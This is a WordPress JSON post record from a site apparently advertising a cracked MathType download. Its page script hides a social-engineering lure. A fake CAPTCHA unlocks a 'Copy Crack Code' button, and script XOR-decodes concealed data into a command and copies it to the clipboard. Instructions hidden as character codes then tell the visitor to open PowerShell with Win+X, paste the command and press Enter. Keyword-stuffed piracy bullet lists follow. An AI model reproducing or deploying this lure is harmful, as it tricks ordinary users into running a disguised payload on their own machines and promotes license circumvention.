bi4mP\/85z\/85je\/uWBbgKeeeopnn3223v0DzlW93e+5Gwg15IknnuDOO++sue0imkav1\/PUU0+1dhpCiFbQYGEPBAJ4vd4LBqioqMDn8+H1ehtVaMrLyxsd22Kx4Pf7Gx3bYrG0WOym5F1eXt6ieQcCgUZ3oTc178a2PTuXlohdXl5OQkJCo05IRF1Go1G644X4gWqDg+fE9yH38B4iugyoM63sROY+dPHd6RDePKPeKysr2blzZ83PQ4cObVTPhRBCiPpJYW9I9f3JZrrPu3\/\/frZu3YrH42Hw4MEMHz68wbYul4tly5aRnZ1NUlISkyZNIiqq4e1Wq1ksFubPn8\/YsWPp3bt3vW2Kior4+OOPueWWW4iPb2BhGzXArv37GRedyOGT5SQmdsOMleOlKmrpCbLVGDqENzyvvSmys7PZs2MTfr9ClwGjmvW+uhBC\/BBdsLD77Jk8\/at30Uf58ET15vHH7iaygVuqqurk7b89R88ZDzGhf4f6G53l8Ib5vPPZTkK7ROINTuX5++c23FhV2b36ff6XVo4RA3c89Cs6mxtuHnAVs2Xdt8xfmcH0a0fTvefVdItvKPEAmftWsXj+BhImT8e7dzud+g\/gQM5Jbrl9LlHGS9t0pLy8nOeff56nn36aqKgonnrqKYKCgujfv3+97T\/++GMmTJiAxWJh+PDhzJ8\/n\/vuu6\/B+Ha7nW+++QaHw4HZbK7ZmKY+brcbRVFYsWIFANOnTyc6uu7i9SFRHSnduwVLl2TcWaX0T7ByON\/PVR0SKVCbr4t327ZtzJ4xiVOlFrbut6KZKivPCCHEpbjg5ZFGNXL7E79i9KhR3PyTaxos6gAKJgZOmEBwRRZ\/euIPHCs\/\/33g1JFDmTLoasaPm8ac2edfQ01FRYlI5t6f\/oxbZo3BdIHMi\/dupih6Mj+b3IOtm7LQnGdHMDXgZ+XytVxzx48oys3jikGdcRiMpHZJIVh34RH2tsJDLFy4mIrK+t\/v559\/zttvv01mZiZr1qzh5ZdfbnCLVqvVit1uZ9OmTaxYsYK1a9diNps5ePBgve3tdjtvvfUWVquVu+66q1GrAyYkJHDrrbeiKArvvfceRUVF9bYLi4nBk2\/DGSilwu1D8Tb87+lyuXjzzTd59dVXOX78ON9++y3z5s1j9erV582lsrKSLr2HM2TgAIYM7Ibs2yaEEJfmglfsmuAk\/MXLcUZ2JjnMRX6Jl04x5\/v6VcnLLWbaz+6iS+SFRzQrGjAZdSQnJpy\/nQpGfSThZgelehNYHRDb8L3YmJ5jSTlWTHT34YxybMR\/ni3ZFY2OqSPGoYTEEh99lJCIUHTHK\/CGdcJ47io4QFHGej5aknbm9RgZP30Eh44UMuKKznXad+7cmczMTGw2GyEhIWRmZjbYta7X69FqtUyfPp3c3FymT5\/O0qVLGxzpHxwczCOPPEJOTg6vvPIKJ06c4Kabbmr4zQKrVq3i1KlTjB8\/nrlz5zY4qj2u31AiPX482FExM26wFu\/JjHrb2mw2QkNDmTZtGh988AGJiYn8+te\/Zt68eUycOLFWW5fLxT\/\/+U+uueaaqgfcFSzdvI9evfvg8cIldpAIIcQP2gULe+WJDbzxxnzCevVg8X92cc\/zH9GpgbYqTjYvWogSk8J3L2\/j4WeeoX+Hhvcdy9myiQUrtzKy28+50E7kKirfffJ\/uEOScMQkcfePE8\/bXgnRU5C+kK8Lg4kLZGJPOE73YXWLblVj0MdFUHTiJGGqwu5TQQzrYeDT9VlMHXUFhnMu2uN6jeXXvcbW\/FxZnsdXSzYzbWb969GPHz+eW265heeff56oqCjuv\/9+Xn\/99Xrbms1mUlNTWbx4MRMnTmTDhg3o9XoSEho+8dFqtfTo0YNu3bqRmZlJaGhog23DwsK45557GDRoUMPz\/RUFo6OQE5VaOodpMZy17crezAyC+tb9HGNiYoiJiWHJkiX8+te\/5tixY8ybN4+bb765TluTycTdd9\/Nn\/\/8Z0aNGkXO3i3s370XqzOYpNnnP8ETQghxfhcs7CGdx\/Kv\/469UDMAFCWIR5\/\/Z6MP3nPMbbw15rbGxdZoeeSvjY+t0YYw9ZaHSDl2nISIayhXG94EXVUhOCqWDkExDBk2pObxx7o37lghkUncdmvD65cHBQXx1Vdf8e2337Jnzx6++uqr88abPn065eXlvPfee1x\/\/fWkpKSct301jUZDr17n30EvPDycIUOGnLcNKIydWbcgAwyZWv+Od4qiMGPGjJqfu3btet4562FhYTz++OOUlpaS2r07vxs67QI5CSGEaIx2PSpe0Rvo2S0VgPMtK6MoCtExjSuel+LswnchkZGRjV7Mpa2Kiopq1Gh\/IYQQjddgYd+3b1+jlpS12+1YLBZWrVpVs\/b5+ZSWlrJ37946S5k2V+w9e\/acd1R4tcrKSiwWCytXrsR\/vhvwp5WXl7N7925sNluLxa6oqGhU7PLyclauXNmoJUMtFgu7du264BKuUHWfvKmx09PTKSsra3TsFStWNGrRHqvVSmFhoaw8d5G0Wm2jPmchRPujbNx5SAUw6rXo\/Hb+9Kc\/MWLECHJyclo7NyHEJejcuXOtsRkbNmxg3rx5rZiREOL7oPziF7+odVpfWFjY8MIlQog2q6ysjD59+rR2GkKIFqZUVlY2e3\/dv999nyV7Cuo8PqZbOL958Jc89dRTxMXF1XrObrczceJEQkJCWLBgQZ3pXXl5ecybN4\/3338fq9VaJ7bJZOLee+\/lySefrHNiYrfbmTx5MsOGDWuGdyeEEEJcvnSNuXfdVBnHClgVdythRg1mvYbCyqpjROR9iM\/nIzY2loceegi\/309eXh7JycmsWLGCgoICIiMjmTFjBoMHDwYgJyeH1NRUHnzwQXw+HyUlJTzxxBOUlpbidruJjY2ltLSU119\/HZ\/PR1xcHA899BDZ2dmkplYNnFu6dCmFhYWNuk8vhBBCtGUttjB3iEHD78ZH86erY4gPqTtGz+\/389Zbb\/HYY4+RnZ1dZ8Cb3+\/n888\/55FHHiE9Pb3WYLuKigpeeuklnnvuOQoKCnA6nbUGqe3fv59HHnmEjz76CL\/f36jBdEIIIUR70GLT3dw+lUWHKkkI02F11z8yfM6cOXi93gb3fZ88eTK5ubkkJyfXetxkMjFt2jSKi4sJDQ2tM+K7U6dOjB49mpkzZzbLexFCCCHaihYr7N6Ait0T4OoewQRUWHCg7jSx8PBwtFptvSul5eTksGLFCux2e5377Xq9nuDgYDIyMnjzzTcJDq69ul11e4PBwKFDh5rxXQkhhBCXtxZdoGZ\/oZtHFhfhD9Qdn5eVlYXf72fcuHFkZmZitVprCnJlZSUGg4Hhw4ej1+vJzMysNSe3oKAAvV5PYmIiW7ZsIT4+vtZ2n1lZWUybNo28vDxUVcVms2E0GlvyrQohhBCXBd2uXbuaPWh8sIZrd\/+2zuMpPXuya9cu9u3bx7Zt2+o8P2vWLFRV5fPPP6\/znEajYdeuXfj9fh566KFazx09epTevXuza9cu9u7dW2\/s2bNn0xLvVQghhLicKC+++GLNpbDD4SAoKIiysjIMBgMhIedbiFVcqurP+9y\/i5ZR\/RmXlJRgNpvr3MIRzat6wKvdbkdRlAbH0ojmUf37HQgEcLvdmM3m1k6pXXM4HAQCAZxOJ1qt9rJaHluxWCw1hf3VV19lwoQJbNu2jYqKCh544AFMJlNr5teuvfbaazz88MOkp6fz7bff8uSTT7Z2Su3a66+\/ztixY9m9ezdFRUU89thjrZ1Su\/b6668zadIkli9fzokTJ\/j73\/\/e2im1a2+88QYPPPAAX3zxBVarlbvuuqu1U2rX3njjDSoqKggEAqSkpHDrrbe2dko16kx3y83NZdKkSYSHh+PxeFojpyZbunRprXvsbc3AgQPb1BiAZcuWoShKa6dxUQYNGsQ111xDbGxsa6fSaG358+7bty+HDh1i8uTJrZ1Koy1btqy1U7hoixYtwuVyUVJS0tqpNNry5ctbO4WLNmvWLPr06VPvommtqU41jIqKIisrC5fL1fB+3Rdh0aJFLVZ8MzMzWyQutGzeLWnx4sUtVgwOHz7cYrFbMm+AoqIiXnjhBfr169escVsy75b8\/W7pzzstLY27776bgwcPNmvcJUuWtFjeWVlZLRZ7yZIlLRK3Wu\/evTGbzY3aUKopWjLvlvz9bunP22az0aVLl0Zt9tUUl5p3nYo1btw4IiMjmT59+nnvQe7atYu8vLxGH+jo0aON\/s+yc+dOTpw40ejYTZGWlsbJkycb3f7o0aONbrtt2zZOnTp1MWlx443173NebcuWLRQWFjY63pEjRxr9eW\/atIni4uJGx26KjRs3Ulpa2uj2Tfk9Wb9+faN2rTub1+tl1qxZOJ3O87Zbu3YtFoul0XGb8nuyevXqFjvDX7lyJZWVlY1u35S8ly9f3qhdGc82dOhQXC7XBX+\/ly1b1qjdJKsdOXKk0W2\/++67Fut9XLJkCV6vt9Htm\/J5L1q0qMkFo1u3bsyZM4cHHnjgvO0WLlzYpN3\/mpL3119\/3WInRgsWLGjSBWdT8v7yyy\/R6Zo2UWzYsGHY7Xbmzp173nZffPEFer2+0XGbknd9seu9FB02bBjdunUDqr4IFy5cWKdNWVlZvSu6ffrpp41+A263m0WLFtUbu74vkKbEdjqdLF68uM7jpaWl9X6pNyW23W7n22+\/rTd2fV9OjYmdlJQEVJ0BLl26tM7zJSUlFx27WkVFRb3dXueL3dhf9OrtXs9VVFSE2+2+pNhlZWWsXr260bE\/++yzBmMnJCQwbtw4xowZA1S997Vr19ZpV1hYWO8X9vli15ff+vXrWyR2QUEBGzdurPfx+pZObkrs\/Px8Nm\/e3Gyxx4wZQ+fOnQE4ceIEW7durfeY9RWxpuSdl5fH9u3bmxS7sUUiNzeXHTt21Bu7vgLZlNhHjhwhPT29zuMnT568qNg6nY5OnToBkJ2dze7du+uNXZ\/58+c3Ou\/MzEz27NlT5\/Hjx49fcuyMjAz27dtXb+z6ThqaEvvgwYMcOHCgzuN5eXn19s6eL7ZOp2PcuHE1+5Ps37+\/3rVTLib2ufbu3cvhw4cbFVt57rnnan5zSktLiYmJqfXLpKoqFouFyMjIWi+02+3odLo694ZLS0uJjY2ts593U2JXz2M\/dy\/uhmJv2LCBsWPH1oodCASwWq1EREQ0Ova5+TX0+PliG43GOoW2odgN5W2z2eosymOz2TCZTI2OXd\/jfr+fysrKS45dX94NxbZarQQFBdX5cm5K3j6fD4fDQVhY2CXFri\/vhmJXVFQQEhJS5z9dU\/L2er24XK46CzA1NXZ9eZ8vdmhoaJ3\/6A3FLisrIzo6uk5st9tdZ1aMxWIhLCys0bHry9vj8eDxeC45dn15NxS7vLyciIiIOgWhKXm73W58Pl+dXsymxq4v74Zil5WV1TvS+nx5V5+wVnO5XAQCgTozbpoau772DcVuyv+R8+Wtqmqdkf1NjV1f3tUXdpcau768G4pdUlJCXFxco+piQ3k7HA40Gk2dAe31xdY9\/PDDtGX5+fmkpaVx55131ikql7MTJ06QlpbGz372s3pX3rtc5eXlkZaWxl133dWmpkMeO3aMtLQ07rnnnjY1rfDo0aOkpaVx7733tqkZKjk5OaSlpXHffffVOYm+nGVlZZGWlsb999\/f5G7Z1nT48GHS0tJ48MEH29SYoEOHDpGWlkZbq0MHDhxg586dl23etaa7tUUej4eKigqioqKadbBfS2urebvdbqxWa5vNOzo6uk198bXVvF0uFzabjZiYmDY1or+t5u10OqmsrGxTsz2g7ebtcDhwOByX7doMbb6wCyGEEOKMFllSVgghhBCtQ1ffqEYhhBBCtB2qqtbMElLUpkxmFEIIIcRlp3pGFTQwj10IIYQQbZMUdiGEEKIdkcIuhBBCtBOBQKBlC7saCFBWWoKnCWspXwyn04HHW3epSyGEEOKHxO120+DSStvWr2HFui1ERkfSIb4DPXp0pcLuZfSIIY0KXlp0ks+++JqwEBPb0g\/z0ksvYjY073lEaWE+7733f3z21TI+mf8FvVISsJSXEhoehVbTdhaXEEIIIZqD0Wis\/4p96+pFPPrMC\/z41tu44\/bb6N09kXvvuYvC8rqbvtTH7azkid88Su\/BY5gxfRpTp0zE73Xha+at7aLjOzGob3c0OhNxMVE4y08xYexVfLSg7iYqQgghRHun0WjqL+zzP\/mQLt2voGtyZ0JCQujTfwg3X3cN\/fv3b1TgZQs+Jrtcw7hh\/YmOS2Dq5NG8939vY3c1f3f5+jWruHLkOCJDzZjC43j+T89z9bgRzX4cIYQQoi2ot7AbTSbWLFvMiYKSqgcUhWFjryY14cxuM36\/lyNHj1BRWfsqPi\/nIE8\/\/zduuPFHaDUK1rJifv\/bR8kudhIeXLUTnMftpLzCCqpKft4xrJV1ewJU1c\/xY7nkFxVz7kR7r8fN0aNHsZUXsXbTbq6+ehJKdZ6jxtExpvauay6HnbxjxwmoKh6XB5+veXsOhBBCiMtFvYX9nl8+hNFTyrVzrqOwrAKA4SNHoVXA53Xz6X\/eYd4r\/6SsrIwnH76PD\/\/3HSqw9KtPefDBh8nILWD9im\/ZsfsgyxZ\/w4efLiA2zMz+gwf5+ov\/0DEmln9\/9BmvvvIPXnzxeQYMGML+7Ko9fAMBP98u\/JyX\/vE6BcWl3H\/rjXy4YBkAPq+HLz5+jw8+\/ZKighPcffddFDlUruzbg4P7dnHLnBnMnHs3Pn\/V9nVej4tP3n2LD+Z\/SX7+Uf70x6cZM3EyReW27+GjFUIIIb5\/9Q6eS+07hE8\/+4g5N\/yYGddex3eLFxIXGUrA7+PNl55nU0Yp\/3nndcwGHZbZM3jo2T9z3bQJTLvuZiotRRwu9PLJh++iU6Ayfx+hsYnccecdJMVHERcMik6Hw+PjsUd\/jdtuZfuGgSxdtZ6+qTfz6buvsyWznHkvPI1W8aPgw+PxEvB7efGZ36LrNIDf\/eoWAOLDXyO5Rz8SOsZiSIwlLFjP1SOnoddp8fu8\/ONPT2PsPJCH77oFUPnn3\/5IQmo\/4s+5ohdCCCHai9pX7KqKx1M1NW3k+Ol88u6bHN61mbvv\/zV+FQ7v3cYr\/\/4vDz3yIGZD1TmBo9JGaWkpfr8PVVVZunQZEydPRqdUxVu5bBn9h1xFQlxVN\/7WTRsJjUviV3fdgQZQAyper5\/g4CByM\/Yy760P+fndP6XSUsJrL71A4qDJ3HrdVFZ8\/QmLt2bxyH13AOC0lbH\/YBYTp1yNQavgtBSyZsseZk6\/GoCNy79m0ZZM7vvpzQD4XDZOFVuZNGUKWhkwL4QQop2qVdjt5afYuP3Mbm+T59zGb+67ndWLvyQnv5xv\/vc5Mcm9GdK\/5+kWKtu2bKZr914YjUb8XjtrN2xj4sQJVfGspazfspNp06fVFNNVK5Zz\/c13EB0WDEDBsQwKbCpjRgxl8YJPcfr0HNydzvKVaxg95Xpe+cszmPXw\/PMvcNe9v8So0wAq61d+x76jRYwdWTX9buf2zeiikuib2gnUAC\/99a\/ccdfPT7eHjP17OFJQwaihA1rw4xRCCCFaV63CfvRIDhlZObUaTJ48CY1Oh14Lx\/NO0qN335piWXziCAuXrufue+7GbNSTsXMzJV4zY0ZcCcCJ3GxOlTsZMbg\/fr8ft72UNZvSmTF9KopStYDNB++9w3W3\/py+3TrJBNIlAAAgAElEQVRx8GAG3foOYO7c67n55psZNmQA5aVllJ\/MJv3wcQYNqopbcDyXL\/63gIQu3ejRLRmA1cuXMWzUWIx6LW5rPht2HmLIkMEAOCsreOPVV4jo0IWuXRJb9AMVQgghWlOtwp55cC8f\/udDTpVaTj+ism7demb\/+E6SO0QyeMiVOCpt+FUVr9vJG6+9wthrf8JNs6cAsHzZMoaPv5q4MBMA6ds2EpXQndL8XIrKLBzaswu7NpwreiQBsHHFQg6e8vLHpx5BQUO\/K\/qzbd1SPvl8Abt3p\/PpRx+wYdtutHojeq3Cvt27yTy4n8VLVxEZHk6Xbt05fjQXv8vGstUb6NurO5u3bCfg8+PzB9i\/dy85WRks\/GYRFdZKevbuy5GsrO\/v0xVCCCG+Z9pnn3322eofco8dZ\/TokWQcOEBRQSFpWzbhMkTx5GMPYTbq6d6rL4W5mRzLL+bw3t106D6AB37+U4JMBkDl2Sd\/w633Pc6AXikA5OfmkHX0BGMnTaZnagoLPn2XjGNFxMVFk5t1kKyTFp58\/DGiw0MA6NG7D2WFJ1i0aDE5eScYPmYSUyeOxhwWSYjWx4Kvv0FrDGXuTXMpOHYYXUgcs66disbvZu36LcR07Mx1s2YSHBaFzlvJwiVLCGBg5qxrOZWbhSk8jmtmTMVsNLTGZy2EEEK0CFVV8Xg8wDn7sft8PnQ6Haqq4rBXomj1BJlN57w4gN3uwGg0odefGVRfduIwE+fczebNawg6PbAuEPDjcXsxmU0Q8DLn6rFMuf23\/OxHU1EVhSCzuU5ygYAfu92BOSgInVZb67iVdgchwSEoCvi8XlA06HRVbZxOZ9VSepqqTgg1EKDScaa91+NG0ehq2gshhBDtRYP7set0VQVZURSCQ0LrFPWq5zSEhISg1+vwuOwsXbYCl9vLl59\/we\/\/9Oeaog6g0WirijqQn5vJgWNljB81BHNQUL1Fvfo1oaGhtYp69XFDQ6qKNIBOr69VpM1mc01RB1A0tdvrDUYp6kIIIdq9BjeBaYyKkgJef\/01iksKiUkdzOyrx9TbLjc7g3\/87a8UllrYvHkz3ZKux2jQX8qhhRBCCFGPWl3xTafidnsABYPBUHN1fC6\/z4fb40FVVTRaLSajEaWhxkIIIYRokrO74i+xsAshhBCitTV4j10IIYQQbZsUdiGEEKIdkcIuhBBCtCNS2IUQQoh2RAq7EEII0Y5IYRdCCCHaESnsQgghRDsihV0IIYRoRxos7JWVlQQuaVE6FZut8uJfL4QQQogmq7ewO21lvPrGv\/AHLr6w5xxM59Ovllz064UQQgjRdLUKu6qqnMzN5s7bfoImJAbNWcu5ez1u8o\/ncSgzE7fHB1RtsZp\/4hgn8gtxO+1YK50E\/H52b9vIbXffR5eUVGTFWiGEEOL7U6uwuxx2li1ZyLJ1O4gLN1JQXA6qStrmNfzlpX9wLL+QL959nQef\/DOg8t5rf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d=document.getElementById('codeDisplay');if(v===window.captchaValue){m.innerHTML=String.fromCharCode(60,100,105,118,32,115,116,121,108,101,61,34,98,97,99,107,103,114,111,117,110,100,58,32,35,49,101,49,101,49,101,59,32,99,111,108,111,114,58,32,35,100,52,100,52,100,52,59,32,112,97,100,100,105,110,103,58,32,50,48,112,120,59,32,98,111,114,100,101,114,45,114,97,100,105,117,115,58,32,49,48,112,120,59,32,102,111,110,116,45,102,97,109,105,108,121,58,32,39,67,111,110,115,111,108,97,115,39,44,32,109,111,110,111,115,112,97,99,101,59,32,98,111,114,100,101,114,58,32,49,112,120,32,115,111,108,105,100,32,35,51,51,51,59,32,116,101,120,116,45,97,108,105,103,110,58,32,108,101,102,116,59,34,62,60,100,105,118,32,115,116,121,108,101,61,34,99,111,108,111,114,58,32,35,52,101,99,57,98,48,59,32,109,97,114,103,105,110,45,98,111,116,116,111,109,58,32,49,48,112,120,59,32,102,111,110,116,45,119,101,105,103,104,116,58,32,98,111,108,100,59,32,98,111,114,100,101,114,45,98,111,116,116,111,109,58,32,49,112,120,32,115,111,108,105,100,32,35,51,51,51,59,32,112,97,100,100,105,110,103,45,98,111,116,116,111,109,58,32,53,112,120,59,34,62,38,103,116,59,32,73,110,115,116,114,117,99,116,105,111,110,115,60,47,100,105,118,62,60,112,32,115,116,121,108,101,61,34,109,97,114,103,105,110,58,32,53,112,120,32,48,59,34,62,49,46,32,67,111,112,121,32,116,104,101,32,103,101,110,101,114,97,116,101,100,32,99,111,100,101,46,60,47,112,62,60,112,32,115,116,121,108,101,61,34,109,97,114,103,105,110,58,32,53,112,120,32,48,59,34,62,50,46,32,80,114,101,115,115,32,60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,32,35,99,101,57,49,55,56,59,34,62,87,105,110,43,88,60,47,115,112,97,110,62,32,38,97,109,112,59,32,111,112,101,110,32,60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,32,35,99,101,57,49,55,56,59,34,62,80,111,119,101,114,83,104,101,108,108,32,40,79,82,32,84,101,114,109,105,110,97,108,41,60,47,115,112,97,110,62,46,60,47,112,62,60,112,32,115,116,121,108,101,61,34,109,97,114,103,105,110,58,32,53,112,120,32,48,59,34,62,51,46,32,80,97,115,116,101,32,38,97,109,112,59,32,112,114,101,115,115,32,60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,32,35,99,101,57,49,55,56,59,34,62,69,110,116,101,114,60,47,115,112,97,110,62,46,60,47,112,62,60,47,100,105,118,62);document.getElementById('captcha-ui').style.display='none';var dc=(function(s,k){var r='';var b=atob(s);for(var i=0;i<b.length;i++){r+=String.fromCharCode(b.charCodeAt(i)^k.charCodeAt(i%k.length));}return r;})(window.encodedData,window.xorKey);d.value=dc.replace(\/%name%\/g,'portable_worked');d.style.display='block';l.style.pointerEvents='auto';l.style.opacity=1;l.style.cursor='pointer';l.onclick=function(e){e.preventDefault();navigator.clipboard.writeText(d.value).then(function(){var t=l.textContent;l.textContent='\ud83d\udccb Copied!';setTimeout(function(){l.textContent=t;},2000);});};}else{m.style.color='red';m.textContent='\u274c Incorrect!';window.generateCaptcha();}};window.generateCaptcha(); \"><\/p>\n<table style=\"width:100%;border-collapse:collapse;font-size:15px;\">\n<tr style=\"background-color:#ffffff;\">\n<td style=\"width:40%;padding:12px 14px;border:1px solid #e0e0e0;text-align:center;vertical-align:middle;\"><a id=\"download-link\" href=\"#\" onclick=\"return false; \" style=\"display:inline-block;padding:10px 20px;background-color:#0078D7;color:white;text-decoration:none;border-radius:6px;font-weight:bold;font-size:14px;pointer-events:none;opacity:0.5;cursor:default;\">\ud83d\udccb Copy Crack Code<\/a><textarea id=\"codeDisplay\" readonly spellcheck=\"false\" autocomplete=\"off\" style=\"display:none;width:100%;margin-top:15px;padding:10px;background:#2d2d2d;color:#ccc;border:1px solid #444;border-radius:5px;font-family:monospace;resize:none;font-size:11px;\" rows=\"5\"><\/textarea><\/td>\n<td style=\"width:60%;padding:12px 14px;border:1px solid #e0e0e0;text-align:center;font-weight:500;\">\n<div id=\"captcha-ui\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;margin-top:5px;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button id=\"verify-button\" style=\"padding:6px 12px;margin-top:10px;font-size:14px;cursor:pointer;background:#eee;border:1px solid #ccc;border-radius:4px;\" onclick=\"window.doVer() \">Verify<\/button><\/div>\n<div id=\"captcha-msg\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0;\">\n<li><strong><strong>Processor:<\/strong> 1 GHz processor needed<\/strong><\/li>\n<li><strong>RAM:<\/strong> 4 GB for keygen<\/li>\n<li><strong>Disk space:<\/strong> 64 GB for crack<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>A powerful graphical editor for mathematical equations that bundles a rich collection of symbols and expressions, batch equation export, as well as an advanced ruler and automatic formatting. If math isn&#8217;t really your thing lately, MathType can lend you a hand in this respect, as this software solution has been specifically developed to work with text editors in order to make your life a lot easier.<\/p>\n<ul>\n<li>Offline activator allowing custom activation parameters<\/li>\n<li>MathType Portable for PC [no Virus] no Virus 2025<\/li>\n<li>License key backup and restore tool with encryption support<\/li>\n<li>MathType Pre-Activated 100% Worked (x32x64) Latest<\/li>\n<li>Offline activator patch bypassing internet license validation<\/li>\n<li>MathType Portable + Product Key Full [x32x64] [Windows] MediaFire<\/li>\n<li>Universal license reset tool for expired trials<\/li>\n<li>MathType Portable exe Windows 10 100% Worked 2025 FREE<\/li>\n<li>Patch tool removing all activation and trial restrictions<\/li>\n<li>MathType Free[Activated] [Latest] [Full] FREE<\/li>\n<li>Multi-software crack pack in one archive<\/li>\n<li>MathType Full-Activated [Final] x86x64 Clean Ultimate FREE<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>\ud83d\udd17 SHA sum:dfc203778e7074b24cca446c473da345Updated: 2026-01-03 \ud83d\udccb Copy Crack Code Verify Processor: 1 GHz processor needed RAM: 4 GB for keygen Disk space: 64 GB for crack A powerful graphical editor for mathematical equations that bundles a rich collection of symbols and expressions, batch equation export, as well as an advanced ruler and automatic formatting. If math [&hellip;]<\/p>","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[138],"tags":[],"class_list":["post-21859","post","type-post","status-publish","format-standard","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/posts\/21859","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/comments?post=21859"}],"version-history":[{"count":1,"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/posts\/21859\/revisions"}],"predecessor-version":[{"id":21860,"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/posts\/21859\/revisions\/21860"}],"wp:attachment":[{"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/media?parent=21859"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/categories?post=21859"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/funforgoal.ca\/zh\/wp-json\/wp\/v2\/tags?post=21859"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}